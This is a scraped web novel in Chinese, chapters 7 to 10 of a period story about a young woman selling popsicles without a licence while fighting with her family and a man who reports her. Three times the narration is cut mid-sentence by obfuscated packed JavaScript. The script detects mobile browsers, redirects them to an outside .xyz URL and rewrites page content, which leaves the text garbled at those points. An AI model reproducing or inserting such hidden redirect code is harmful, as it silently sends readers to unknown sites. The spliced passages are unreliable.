王朝阳说的办·证,她现在没钱办,也等不了那么久。曾舒仪不信所有小摊位都有证,她想着自己就一个泡沫箱,真看到投机倒把办公室的人,大不了就跑。 “一天大约五毛钱,一个月十五块,诶,怎么还是不多钱?”曾舒仪算了下,又没那么高兴了。 卖冰棍时看着一根根卖出去,只顾着乐呵,想着可以挣许多钱,现在算起来,离让她经济独立还差好多。 一开始,曾舒仪想着自己本钱少,做不了吃食,又没有修理手艺,当货郎要本钱,想着卖点小东西最好。 经过电影院门口时,看到有人在卖小吃,觉得自己也能干,才决定卖冰棍。 “不行,得想办法多卖一些才好!”曾舒仪自言自语说了句,客厅里传来她大嫂的说话声。 “妈,我回来了,饭怎么还没做好?我和向平都饿了。”王娟看眼饭桌,对着后院喊了一声。 曾舒月端着一碗炒南瓜出来,“大嫂你回来了啊,马上能吃了,你先去洗手。” “嗯嗯。”王娟上下瞥了曾舒月一眼,带着女儿洗完手,先把包放回屋里去。 结果刚进屋,便闻到一股臭脚丫子味道,拽着曾向平问怎么回事,“我不在家两天,你都不洗脚吗?” “不是我,是向民昨晚睡的咱屋。”曾向平打了个哈切,昨晚没睡好,他今天不去夜校,打算吃过晚饭就睡觉。 “向民?他怎么会睡咱们屋?”王娟接受不了,闻闻枕套,又嗅嗅被单,拿来剪刀拆了被单,气冲冲地丢在客厅的椅子上,“向民,谁让你睡我屋的?” 曾向民不以为意,“你又不在家,我和大哥挤一挤怎么了?” “再说了,凭啥让我一直睡客厅,我也是曾家儿子,你没嫁过来之前,我一直和大哥睡一屋。我觉得公平起见,也该你们夫妇轮流睡客厅。” “曾向民,你还讲不讲道理?”王娟气得跺脚,转身去寻求帮助,“向平,你是当大哥的,你不说说他吗?” “行了,你回来住着,向民就不会再睡咱们屋。”曾向平不耐烦道,“被单换干净的就好,吵吵什么?” 王娟更气了,“是我要吵吗?” 这时曾舒月出来,只是她刚想开口,被曾舒仪拉进屋里。 “大嫂的被单让她自己洗,你别去当老好人,听到没有?”曾舒仪不用想,都知道她二姐要说什么。 “可是舒仪,大嫂一直吵怎么办?”曾舒月觉得这事和她有关系,如果她不回来,弟弟不用睡客厅,也就没这个事。 “不会的,大哥不会让大嫂再走的。你对他们好,他们不见得想着你。还是得让向民治治他们,有向民出面,爸不会偏袒大哥两口子。”曾舒仪哼了哼,听客厅里不吵了,才推门出去。 王娟眼红红的,看到曾舒仪姐妹,想都没想就吩咐,“舒月,你在家没事,明天帮我把……” “大嫂,明天是周末,你也没事吧?”曾舒仪笑眯眯地开口,“二姐和我约了出门看工作,你的床单你自己洗,毕竟你也没给二姐保姆费,是吧?” “曾舒仪,关你什么事,我和你说话了吗?”王娟心里不爽,公婆帮着小叔子,只好找其他人出气,结果她话都没说完,曾舒仪这个死丫头又逼逼赖赖起来。 曾舒仪拉着二姐坐下吃饭,“当然关我的事,我看你欺负人不舒服。你要是不服气,我们可以再到巷口掰扯一下,或者……” 她特意顿了下,“或者你回娘家去呗,你不是说,你娘家人多好多好,正好你回去了,向民能继续住你屋。” “你!” “吵什么吵!”曾庆良用力拍了桌子,“一天天的,都不嫌丢人是吧?” 曾庆良抬手往曾舒仪那拍去,但被曾舒仪躲开了,他再去看儿媳妇,“小娟你也是的,你不在家,让向民住一下怎么了?这个家是棉纺厂分给我的,还没轮到你们来当家做主!” 大儿子小儿子都是儿子,曾庆良盼着大儿子能考上大学,让他在巷子里扬眉吐气。 但小儿子也是他心里的宝,见不得儿媳妇这样说小儿子。 王娟快气炸了,但她想到再回娘家,曾向民真会住她屋里,咬着牙坐下来吃饭。 林家珍看儿媳妇拿着碗,主动给她夹菜示好,却被王娟给甩开筷子。 菜掉在桌上,林家珍尴尬得手停在半空。 这次轮到曾舒仪“啪”地拍桌子,“我说王娟,你别给脸不要脸。你给谁摔筷子呢?” “我干什么了?我又干什么了?”王娟吼了一声,放下碗,哭着跑回房间去,“你们曾家没一个好东西,全都欺负我!” 曾玉玲被吓得哇哇大哭,林家珍赶忙抱着孙女哄。 曾向平只是看了眼房间门,屁股都没动一下,坐着继续吃饭。 以前曾舒仪不会直接怼王娟,毕竟是她大嫂,又生活在一个屋檐下,多少会留点面子。 人嘛,自私点很正常,谁都想让自己过好一点,所以曾舒仪会更忍让王娟。 经过相亲这个事,她明白王娟不仅自私,心还坏。人都坏透了,她曾舒仪也不是个省油的灯,现在她拿捏着王娟的把柄,随便吵,随便闹,她不怕真打起来。 最好啊,把她大哥大嫂气走了,她心里才舒坦。 屋内的传来断断续续哭声,曾庆良听得烦躁,开始教训女儿,“舒仪,你大嫂也是咱们家人,你不能对她客气点吗?” “以前我对她够客气,也不见得她对我好啊。”曾舒仪吃得差不多,放下碗筷,“爸,我不是个好脾气。但大嫂不惹我,我也不会招惹她。要么她忍到我出嫁,要么让她夹着尾巴做人,这是她欠我的。” 说完,她端着碗筷去后厨。 不一会儿,她二姐来了。 “舒仪,我明天真和你出门吗?”曾舒月心中惴惴的,她不习惯撒谎。 “你想和我去也行,不和我去就自己随便逛逛。”曾舒仪洗完碗,拉着二姐回屋,给二姐看今天自己挣到的钱,“虽然不多,但这是第一天。” 曾舒月不可思议地看着妹妹,“你……你真的挣到钱了?” “对啊,我和你说啊,挣钱其实不难,只要你愿意放下面子……”曾舒仪和姐姐说着今天的事,心里盘算着明天怎么多卖冰棍。 到了第二天吃早饭时,曾舒仪又碰到王娟,不过王娟没和曾舒仪闹,而是阴阳怪气地道,“舒仪啊,你不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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曾庆良不乐意看女人哭,“行了,哭什么哭,车到山前必有路,你要相信党、相信政策,难道国家会看着那么多返城知青都饿死吗?” 在家待着没趣,他带着棋盘,去梧桐树下找人下象棋。 而另一边,曾舒仪进货后,带着二姐去电影院门口。 昨天她算过钱,光是在电影院门口叫卖,一天最多卖五六十根冰棍,但等电影放映的空隙,她可以去附近的百货商城门口卖。 “舒仪,我……我张不了口叫卖。”曾舒月为难地看着妹妹。 “没事,不用你卖,我来就行。”曾舒仪没想她二姐能干这个。 各人有各人的活法,做生意这个事,曾舒仪不会带着她二姐,“待会我去百货商城,你就可以回家了。记住别帮大嫂洗衣服,她自己有手有脚,知道你没脾气,就会使唤你。如果我知道是你洗的,回家我把她衣服丢臭水沟去,记住没?” 曾舒月说记住了,顿了顿,她冲妹妹笑了下,“舒仪,别人家都是姐姐护着妹妹,到我们这反过来了。谢谢你啊舒仪。” 只要大嫂开口,她都不好意思拒绝,干了一天两天后,大嫂理所应当地把所有家务推给她。日子久了,她也会累,但她性格软弱,说不出不干的话。 “小时候我调皮,爸让我饿肚子时,你没少偷偷拿吃的给我。咱们是亲姐妹,帮你出出气还是可以的。行了,我不和你多聊,电影散场了。” 曾舒仪抱着泡沫箱,朝人群跑过去,“冰棍,绿豆冰棍,姐姐来一根吧?” “哎呀,你这小姑娘真会说话,我都多大年纪了,你应该喊我阿姨。” “啊,我看不出来啊,我还以为你只比我大几岁,你看着真年轻,好让人羡慕!” “哈哈,没有啦,我都没特意保养。冰棍怎么卖?给我来两根。” “好嘞,这就给你拿!” 8. 第 8 章 曾舒仪长得好,嘴又甜,她敢于开口叫卖,比起其他小摊贩要卖得更快。 留下最后一根冰棍,她拿给二姐吃,“时间差不多了,你回家去吧。我再去进一箱冰棍,到百货大楼门口卖。” 曾舒月看妹妹额头冒着细汉,抬手替她擦了擦,“舒仪,我感觉你不一样了。” “哪里不一样?” “我说不上具体的,看你在卖冰棍时,感觉更鲜活。”曾舒月道。 “那我也这么觉得,以前想着都是一家人,有些事我还会忍让,我现在才不受气,我要又争又抢,让自己当有钱人!”曾舒仪和二姐道别后,进了一箱冰棍到百货大楼门口叫卖。 不过百货大楼里,很快来了个经理,说不许他们在门口卖东西。 “就算是门口,也是我们百货大楼的地盘,别以为我不知道,你们这些小商贩都是无证经营。再不走,信不信我去举报你们?”经理指着曾舒仪这些人,眼神凶悍。 曾舒仪觉得真走了更露馅,据理力争,“我们在路上卖,连百货大楼台阶都没上,你是不是太霸道了?” “我说小姑娘,你是真不怕死啊?”经理瞪着曾舒仪,“你有本事在这里等着,我现在去打电话,我还不信了,你个黄毛丫头是正经经营!” “我……我光明正大做生意,哪里不正经?”曾舒仪气得涨红脸,她还想和经理理论一下,就被一个小姑娘拽着胳膊走。 小姑娘看着十二三岁,又瘦又黑,“姐姐,你是第一次来吧?你别和他吵,黄□□真会举报的!” 黄□□,是他们给刚刚赶人经理取的外号。 曾舒仪跟着小姑娘拐到百货大楼的侧门,这里人少了许多,远不如正门。 曾舒仪:“黄□□?” “就是刚刚赶人的经理,我们给他取的外号,你不觉得他嘴巴很大,长得像□□吗?”小姑娘笑呵呵的,“对了,我叫白多多,今年十三岁,我在这里卖茯苓膏半年了,这附近没有我不知道的!” 曾舒仪想了想,“确实挺像的,那他总来赶人,你怎么卖茯苓膏?” “还是得去百货大楼外卖,不过得眼观八路,耳听四方,看到不对劲就跑。对了,你是不是昨天去电影院门口卖冰棍?”白多多突然想到一个事。 曾舒仪说是。 “我妈昨天一回家,就和我们说,电影院门口来了个小姑娘,长得特别漂亮,叫卖起来一点都不害羞。我一看就知道是你,姐姐,你长得真漂亮。”白多多很能说。 曾舒仪被夸得都不好意思了,为了表示感谢,拿冰棍给白多多吃。 白多多也给她吃茯苓膏,香香甜甜的茯苓膏,口感弹牙,很是好吃。 跟着白多多卖了会冰棍,算着电影院散场的时间,曾舒仪赶忙跑回电影院门口叫卖。 就这样,她认识了白多多母女,卖冰棍的时候,还会帮白多多她妈叫卖。 连着卖了十几天冰棍,转眼间到了九月下旬,天没那么热一点,曾舒仪的冰棍没那么好卖了。 这天她和白多多坐在电影院门口,等电影散场期间,曾舒仪感叹,“茯苓膏一年四季都可以卖,但冰棍最多卖到国庆假期结束。多多,你说还有什么小生意,是我能做的?” “舒仪姐你能说会道,还有文化,其实很多小生意都可以做,差的是一张证,能让你光明正大,不用怕被举报。”白多多家只办了一张证,但她家几兄妹都在卖茯苓膏,她爸说他们是未成年,就算被抓,最多教育一下,大不了被关几天。 曾舒仪也想有个合法经营的证,但卖了那么多天冰棍,她一共挣十二块钱六毛五分,加上之前剩下的五块钱,也不够办·证的钱。 “不说了,电影散场了。”曾舒仪抱着泡沫箱跑向人群,“冰棍,有绿豆冰棍、桃子味冰棍,两根只要五分钱!” “给我来一根吧。” “我要两根。” …… 看完电影,大家都渴了饿了,有的买汽水,也有买冰棍和茯苓膏。 曾舒仪给人拿冰棍时,发现有个人一直看着自己,等她收完钱看过去,才认出是王杰。 王杰身边还站着一个姑娘,圆脸大眼睛,脸颊红扑扑的,看着挺可爱。 “给我来两根。”王杰一眼就认出曾舒仪,让他非常意外,没想到曾舒仪会在电影院门口卖冰棍。 “卖完了。”曾舒仪放下脸道。 王杰朝泡沫箱看去,曾舒仪“啪”地盖上盖子。 “舒仪妹子,你不是还有剩下吗?”王杰看到曾舒仪白里透红的小脸,想到梦牵梦绕的几个晚上,又动了动心思。 “这是我留给家里人吃的。”曾舒仪不想搭理王杰,转身去找白多多。 白多多的茯苓膏卖得差不多,好奇问了句,“舒仪姐,刚刚那人谁啊?” “一个会打老婆的坏男人,不是好东西。”曾舒仪哼了一声,看王杰和人走了,心想那姑娘知不知道王杰底细? “那还真不是好东西。”白多多睫毛眨了眨,不知道想到什么,握紧拳头,“舒仪姐,这种男人真该死!” 她愤愤说完,准备回家去,今天她妈没来卖,所以她来电影院门口。 “是啊。”曾舒仪还剩十根冰棍没卖完,等白多多走后,又去叫卖,只是王杰比她想的更难缠,转个身后,又看到阴魂不散的王杰。 王杰冲曾舒仪嘿嘿笑了下,“舒仪妹子,我们聊一聊可以吗?” “不行,我没空。” “别这样,我是真心想和你聊聊。”王杰后来找过王娟,王娟把曾舒仪骂了一顿后,让他别想曾舒仪了。 但曾舒仪是他相亲过的人里最漂亮的,心里一直念念不忘,他自以为配得上曾舒仪,甚至在想是不是王娟办事不利,才没撮合成。 曾舒仪黑着脸,“我说这位大哥,你听不懂人话吗?我说了没空就是没空,我们很熟吗?你来骚扰我,刚刚和你看电影的姑娘知道吗?” “我……我和她不是你想的那样,她是我远房表妹,因为很想看一次电影,我才带她来。” 王杰对曾舒仪还心存幻想,自然不会说实话,“舒仪妹子,你何必那么辛苦?投机倒把地卖冰棍,风吹日晒不说,名声还坏了。” “我靠自己辛苦挣钱,怎么坏名声了?”曾舒仪越说越气。 王杰急忙道,“投机倒把是资本主义行为,本来就不应该做。而且我是心疼你,你看你脸都被晒红了,你不想过衣食无忧的好日子吗?” 他放缓语气,“我在我们车间,算是年轻有为的技术工,厂里领导找过我,说等我们车间副主任退休,就会把我提上去。舒仪妹子,你想想,有几个男人能有我的本事?” 王杰不信有女人能经得住钱的诱惑,“你在这里卖冰棍能挣多少钱?一根冰棍三分钱,还得提心吊胆怕被人抓,你何必放着好日子不过,非要吃这个苦?” 这点他也想不通,王娟和他说过曾家的情况,一大家子拖油瓶,都靠曾庆良一个人工资养着,日子过得苦哈哈。听说一周才买一次肉,每个人分不到两块,这日子他想到都受不了。 “王杰,跟你是好日子吗?你的那点名声,邻居们都知道。你现在是看我年轻漂亮,起了色心,你以为我会相信你是真的喜欢我吗?” 曾舒仪呵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16020879|178520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呵笑了,“我宁愿自己挣钱辛苦点,也不会嫁给你个癞蛤蟆,也不照照镜子自己长什么样,丑人多作怪,说的就是你!” “诶,你怎么还骂人起来?”王杰最讨厌别人说他长相,看曾舒仪要走,拽住曾舒仪手腕。 当然了,曾舒仪不是个好惹的,一脚踹在王杰大腿上,听“砰”的一声,王杰没站稳摔在地上。 “以后别让我看到你,不然我拿着喇叭去你工厂,让所有人看看你是什么人?”曾舒仪不解气地又踹了两脚,哼哼地抱着泡沫箱走了。 什么人啊? 想到王杰,曾舒仪更讨厌她大嫂了。 不过她这会没空骂人,冰棒有些化了,得赶紧卖出去。 “冰棍,绿豆冰棍,好吃又解暑!”曾舒仪从电影院往百货商城走,等卖完十根冰棍后,又去进货。 不管是什么事,都不能耽误她挣钱,早点存够钱,才能早点办下个体经营证,就不用担惊受怕被抓。 等曾舒仪再回到电影院门口时,正好赶上电影散场,她想抓紧时间把冰棍卖了,结果才卖几根,白多多不懂从哪跑出来,拽着曾舒仪就跑。 “快跑舒仪姐,我们被人举报了!”白多多拉着曾舒仪,熟练地穿进电影院附近的巷子。 不多时,远处传来哨子声。 曾舒仪的心提到了嗓子眼。 卖了十几天冰棍,曾舒仪还是第一次遇到投机倒把办公室的人,谁举报? 她还在想这个问题时,不知不觉跟着白多多拐了两个巷子。 “舒仪姐,快进去。”白多多跑到一间荒废的庙里,等两个人都进来后,再轻手轻脚地把门关上,带着曾舒仪往庙的后院去。 穿过寺庙后院,她们到了小河边,沿着堤坝走了一段,白多多先跳进一家人的院子里,再对曾舒仪招手,“没事,这是我家。” 曾舒仪松了口气,跟着跳下去。 “多多,你怎么知道被举报了?”曾舒仪心里一阵后怕,这几天的顺利,让她有时候忘记自己是无证经营。 如果不是白多多提醒,她还真不一定能跑掉,毕竟她不如白多多有经验,知道往哪里跑能躲开追查。 白多多推门进家里,一边和曾舒仪道,“我们家几口人都在卖茯苓膏,大家分散在不同街道,早就形成默契,只要看到有投机倒把办公室的人,立马通知其他人。而且,我们会时不时盯着投机倒把办公室,今天是我姐看到一个胖胖的男人,一瘸一拐进了投机倒把办公室,没过多久,红袖章的人就出来了。” “我想着你没什么经验,赶忙来通知你一声,还好我跑得快,不然你很可能跑不掉。” 说着,白多多给曾舒仪倒水,听到屋里传来咳嗽声,又道,“你在这里坐会,我去看看我妈。” 在白多多进屋后,曾舒仪想到白多多的描述,胖胖的男人,又一瘸一拐。 好家伙。 她知道是谁了! 过了会,白多多从屋里出来,“舒仪姐,我们先出去探探,确认附近没有红袖章,你再去卖冰棍。” 冰棍不像茯苓膏可以放久一点,两个小时不卖完,会开始融化。 曾舒仪想到被举报的事,心里给王杰狠狠记上一笔,等卖完冰棍后,没再去进货。 “舒仪姐,你真知道举报的人是谁吗?”白多多也被人举报过,还被红袖章抓到过两次,有次红袖章为了让她供出其他人,饿了她两天一夜,差点去见阎王,所以她最痛恨那些举报的人,“你是不是要去找他算账,我跟你一起去!” “是,我会让他知道惹错了人!”曾舒仪咬着牙道,心里已经有了主意。 9. 第 9 章 之前为了打听王杰是什么样的人,曾舒仪特意到王杰住的筒子楼附近,认识了个老太太。 “待会让我说,你看着就好。”曾舒仪看到不远处的几个老太太,交代完白多多,两个人再走过去。 经过老太太们跟前时,她特意停了一下,“哎呀,是马奶奶,好巧啊,又遇到了?” “你……你是……哦,我想起来了。”马淑芬眯着眼睛,她曾拉着曾舒仪大说特说王家坏话,兴奋地起身,跟着曾舒仪一块往前走,“你今天怎么往这边走?” “来看我这个朋友。”曾舒仪往白多多那看了眼,白多多笑盈盈地喊了句“马奶奶”。 马淑芬看白多多乖巧,又回头看了眼,再小声问,“舒仪,上回你说要和王杰相亲的表姐吹了后,王家又给王杰介绍新对象了呢。” 没等曾舒仪开口问,马淑芬先愤愤道,“王杰只有工作不错,人品是真不行,也不知道那姑娘看上他啥了?” “啊,又是哪个姑娘瞎了眼?”曾舒仪作出惊讶模样。 马淑芬家住王家楼下,王杰儿子非常调皮,常常蹦来蹦去,马淑芬上门去说,王家人说小孩子不懂事,再争论就吵起来,反而蹦跶更厉害。 她和王家积怨已久,现在有人一起说王家坏话,她当即邀请曾舒仪两个回家说,“我给你们倒杯茶再说。” 白多多看看马奶奶,又看看舒仪姐,见舒仪姐眼睛亮亮地看着马奶奶,她也就跟着喝茶。 抿了口,还是加了糖的糖水,好喝! “我之前和你说过的,王杰他妈藏不住事,一天到晚炫耀她儿子多厉害。” 马淑芬哼了一声,“就她那个儿子,我们筒子楼的人都知道,真他么不是个东西!十天前,王家突然来了几个人,热闹得很,我特意打听下,是来给王杰相看的。” “是什么样人家?”曾舒仪问。 “王家不肯说这个,怕有人传不好的话给女方,后来还是我套王杰儿子的话,才知道是摘帽子回来的一个老师家庭,他们刚回榕城,所以不清楚王杰是个什么样的人。”马淑芬道。 “那您知道,那家人叫啥吗?”曾舒仪要打听的是这个。 马淑芬摇头,“这我还真不知道,我只知道那姑娘的爸以前是个知识分子,后来被下放到农场。现在她爸在一中当高中老师,说是教数学。我要是知道是哪个,我一定跑去说一声,相当于救那姑娘一命了。” 曾舒仪赞同地点点头,“这确实。” 话音刚落,楼上又传来蹦蹦跳跳的声音,马淑芬当即拿扫把跑到院子里,“有妈生,没妈教的玩意。你们全家都不是好东西!” 骂了几句后,发现王家今天没人出来和她骂,想来是大人都不在家,她哼了声回屋去,“王杰这王八儿子,以后长大了更不得了,小小年纪就会偷我们筒子楼的东西!” “这样啊!”曾舒仪说太过分了。 马淑芬,“谁说不是,今天拿一个鸡蛋,明天拿两颗青菜,大家都拿他没办法,总不能为了这点小东西报警,到时候我们还要被人说小气。” 曾舒仪说是,“不过他能偷小东西,肯定经不住其他诱惑。现在不让他知道怕,以后住得都不安心。要是我啊,就让他知道厉害,让他去少管所尝尝滋味。” 她点到为止,不好说更直接,得到了想要的信息,和马奶奶说了再见。不过今天不早了,她打算明天再去一中蹲守。 曾舒仪在路口和白多多道别。 “舒仪姐,明天你也带上我,有什么事要我帮忙,随便吩咐,我最讨厌爱举报的人!”白多多道。 “行,明天我们在一中门口见。”曾舒仪道。 这边曾舒仪和白多多分开后,筒子楼的马淑芬越想,越觉得曾舒仪说得有道理。 她烦死了王杰儿子,人上了年纪本就睡不好,结果这小子早上蹦,晚上也蹦,弄得她都精神萎靡了。 马淑芬想了想,上楼去敲门。 天色不早,曾舒仪回到家时,家里已经摆菜了。 她和家里说,去帮小黄做事,有了正当理由,家里就不管她早出晚归怎么回事。 “舒仪,我们车间新来了个学徒,人长得还不错,你把后天时间空出来,我带你去见见。”曾庆良做事从不商量,而是直接下吩咐。 “后天我没空,爸,不用给我找这些,等我工作稳定了再说。”曾舒仪夹了一筷子豆芽,出门一天,她饿得很。 曾庆良说已经说好了,“你看不上也要去,再说了,人家现在是临时工,但家里叔叔是主任,用不了多久能转正。你别看不上人,掂量掂量自己有什么本事?” 曾舒仪本来不排斥相亲,但她现在知道,只有自己更优秀,才能遇到同等匹配的人。 她有自知之明,以她现在的条件,有钱、家庭又好的男人怎么会看上她? 就算男人喜欢她的长相,但公公婆婆会喜欢只有漂亮的儿媳妇吗? “爸,我就是知道自己有什么本事,所以不劳烦你了。答应的事也可以推了,这种事你又不是没干过?”曾舒仪坚持道。 曾庆良火了,“你个死丫头,我是你爸,你存心想看我丢脸是吧?” 曾舒仪默默吃饭,不说话了。 林家珍打圆场道,“舒仪,见见呗,不成再说?” 王娟哼了哼,阴阳怪气道,“爸妈,你们别操心了,人家舒仪眼光高着呢。要好看,还得工作人品都好,你们安心等着,舒仪肯定会给你们带个金龟婿回来。” “大嫂说得对。” 曾舒仪笑眯眯地看过去,“我是眼光高,看不上你给我挑的癞蛤蟆。爸妈,你们是不知道王杰长什么样,又胖又丑,脸上还有暗疮,鼻子比蒜头还大,眼睛色眯眯盯着人,恶心死了。大嫂,你觉得你堂哥那么好,会不会是……” 曾舒仪停住了。 “你……你乱说什么?”王娟气红了脸。 “我没说什么呀,我都承认你说得对了,你还要生气吗?那你也太小肚鸡肠了。”曾舒仪摇头叹气,“爸说我们是一家人,要客客气气,你怎么就不懂这个道理呢?” 她吃饱了,起身道,“不过你放心,我大人有大量,不和你计较这些。” 看曾舒仪回了房间,王娟要气炸了,“爸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16020880|178520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你听听舒仪说的什么话?” “我问你,你堂哥真的又胖又丑?”曾庆良道。 “爸,您不是说男人长相不重要吗?”王娟为自己解释。 曾庆良确实觉得长相不重要,但被人用假照片戏耍,心里总是不舒服,“你自己做事不妥当,舒仪说你两句,你该受着。” “我……我凭啥啊?”王娟刚说完,曾向平不高兴地看过来,“你能不能安分点,每天吵来吵去,还让不让我读书?” 有曾向平开口,王娟瞬间瘪了气,心里委屈得很。 她倒要看看,曾舒仪能找到什么男人,这个不要,那个不行,到时候挑成老姑娘! 不行,曾舒仪嫁不了,岂不是还要在家里待着? 最好是嫁个孬种男人,婚后事事都不顺! 王娟在心里诅咒曾舒仪,但曾舒仪并不关心她大嫂想什么,她每天跑来跑去,吃过饭就困了,洗漱完躺下就睡着。 次日一早,曾舒仪吃过早饭去挤公交,到一中门口蹲了半个小时,才看到一个和昨天王杰身边姑娘很像的男人,找人打听后,才知道对方姓张。 她没时间兜圈子,中午又过来蹲张老师放学,看到人后,立马让白多多过去。 “你是张老师吧,你是不是有个女儿,正在和机械厂的王杰相亲?”白多多问。 张文敬推了推眼镜,“小姑娘,我们不认识吧?” “我们是不认识,但我有个姐姐和王杰相亲过,我是过来提醒你,王杰前妻是被他打死的。他们筒子楼的人都知道王杰会打女人,如果你不信,可以去问问。” 听小姑娘说得有鼻子有眼,张文敬眉头紧皱,“可……可介绍人不是这样说的。” 白多多:“介绍人拿了王家好处,肯定往好的说,怎么可能说真话?张老师,我看你文质彬彬,应该不至于卖女儿。我今天是来给你提个醒,嫁女儿要擦亮眼,不能别人说什么是什么。” 张文敬被下放十年,他是读书人,本就不适应农场生活,被折磨了十年,性子越发怯弱,但女儿是他命根子,听到自己被介绍人骗了,当即去请假。 等他再去筒子楼时,“正巧”碰到马淑芬,听马淑芬绘声绘色说王家天天传来打骂声,他气冲冲地跑去找介绍人。 曾舒仪一路跟着张文敬,听到张文敬把介绍人骂了一遍,知道这门婚事不能成了,为张文敬女儿松口气。 随后她又写了封举报信,让白多多送到机械厂的保安室,她是没有实质证据,但能恶心王杰。 她这人一直都是,人不犯她,她不犯人。但谁要招惹她,那她一定没完。 做完这一切,曾舒仪乐呵呵地往家去,不管是找张文敬,还是送举报信,曾舒仪都没有出面,就算查,王杰也查不到她头上。 要不是她自己无证经营,那天在电影院门口,她肯定要报警,告王杰骚扰她! 回家时,曾舒仪去国营饭店买了一斤卤猪头肉,辛苦那么多天,她想犒劳下自己。 结果刚进家门,发现家中气压很低,连平常话最多的弟弟,看她一眼后,又小心翼翼把头缩回报纸后。 10. 第 10 章 “怎么了?”曾舒仪轻手轻脚地走过去,用唇形问了句,结果她弟弟拔腿就跑,也很意外地没有喊叫,“怎么回事,跑什么跑啊?” 客厅里,还剩下翘着二郎腿的王娟,还有默默扫地的曾舒月。 还没等曾舒仪弄清怎么了,她爸“砰”地踢开房间门,冲出来时,被她妈用力拽着一条胳膊。 “你给我跪下!”曾庆良怒吼道。 曾舒仪:“我……我怎么了?” “你还好意思问怎么了?我说的话,你都当耳边风是吧?曾舒仪,你好大的本事,竟然敢欺骗家里,去干一点不三不四的事!”曾庆良指着女儿,如果不是被爱人拖着,这会已经上手打人了。 没等曾舒仪辩解,王娟呵呵笑了下,“我就说嘛,现在工作不好找,舒仪哪里有那么大的本事。一开始听到舒仪去投机倒把时,我还不信呢。” 今早她去上班,遇到专门等着她的堂哥,堂哥问她,知不知道曾舒仪在投机倒把卖冰棍,当时她就懵了,再三确认是真的,脸上立马换上笑容。 若不是请假要扣工资,王娟当时就想跑回来告状,她熬了一个白天,简直度日如年。 刚下班,她一路狂奔回来,立马把这个事和公婆说了。 “你给我闭嘴!”曾舒仪朝她大嫂瞪过去,瞬间吓懵王娟。 她再去看她爸,说实话,心里有点怵,但她不觉得自己做错什么,自食其力,不偷不抢,有错吗? “爸,我……” “你别喊我爸,我没你这种不听话的女儿!”曾庆良得知女儿去卖冰棍,差点气晕过去,“前些日子你怎么闹腾,我都没打你,我知道你心里不平衡,怪我只给你大哥交夜校学费。这事我不觉得有什么错,女儿迟早要嫁人,我供儿子读书天经地义。但你心里有气,我忍着你,可是你怎么能干出这种丢人现眼的事呢?” “小声点!”林家珍用力拽着爱人的胳膊,急得眼眶都红了,“求你了,小声点啊!” 这个事不能被别人听去,不然女儿的名声全毁了。 曾庆良正在气头上,管不了那么多,“她都不怕丢人,你怕什么?你看看她这个样子,有个知道错的样子吗?” 曾庆良指着曾舒仪,“你给我跪下!” 曾舒仪说不,“我没错,为什么要跪下?做生意是靠自己本事吃饭,怎么就丢人了?我是偷别人的,抢别人的,还是干什么见不得人的事?” 她深吸一口气,“爸妈,报纸都写了新政策,既然国家都鼓励干个体经济,你们干嘛那么封建古板?人又不是只有进厂上班,或者结婚生孩子这两条路?” “你还给我犟!”曾庆良甩开爱人,巴掌猛地挥向曾舒仪。 虽然曾舒仪往后退了一大步,还是被刮到脸颊。 曾庆良拽下女儿鬓角的几根头发。 林家珍扑过来抱住曾庆良,“庆良,她还是孩子,你好好和她说啊!” “你听听她说的什么?都到这会,还不承认自己做错了!”曾庆良还想动手,曾舒仪却还是挺直腰板看着他,让他愣住好一会儿,最后皱紧眉头道,“你知不知道,别人是怎么说投机倒把的?” 王娟忍不住开口,“爸,舒仪不仅投机倒把吧,我听人说办个体经营证要好多钱,她肯定是无证经营。这要是被抓到,说不定要坐牢,或者被下放呢!” 林家珍听到坐牢,吓得浑身发抖,“舒仪,你……你不会真的……” “妈,你别听我大嫂挑拨,现在不是以前,别人都是摘帽子回城,哪里还有人被下放?” 曾舒仪道,“至于证件,等我挣够钱就会去办。” “你还要干?”曾庆良不可思议地瞪大眼睛。 “是的爸,我找不到好工作,更不想听你们安排结婚生子,所以我想挣钱。你再怎么阻拦也没用,我就是要挣钱,挣很多很多的钱。”曾舒仪目光坚定,即使面对全家的不理解,她也不会改变主意。 曾庆良举起茶壶摔了过去,“噼啪”碎了一地,茶水和碎片四溅开,“你要是敢做生意,就别认我这个爸,有多远给我滚多远!” 他指着大门,脖颈暴起青筋,是真的要赶人走。 全家屏住呼吸,曾舒月过来轻轻拉住妹妹的手,小声劝道,“舒仪,要不……算了吧?” “二姐?我为什么要算了?” 曾舒仪抬手擦了快要落下的眼泪,“我想靠自己努力过好日子,有错吗?” 曾舒月答不上来对还是错。 曾庆良却道,“你要过你说的好日子,就给我滚蛋,吃我的住我的,你以为你真的翅膀硬了吗?” 他过去踹开大门,“曾舒仪,你真要有骨气,就别住我的房子干这种丢人的事!” 曾家吵架,动静大得惊人,围墙后,刘喜旺爷孙探出头,大门外也围了几个人,都想知道曾家在吵什么。 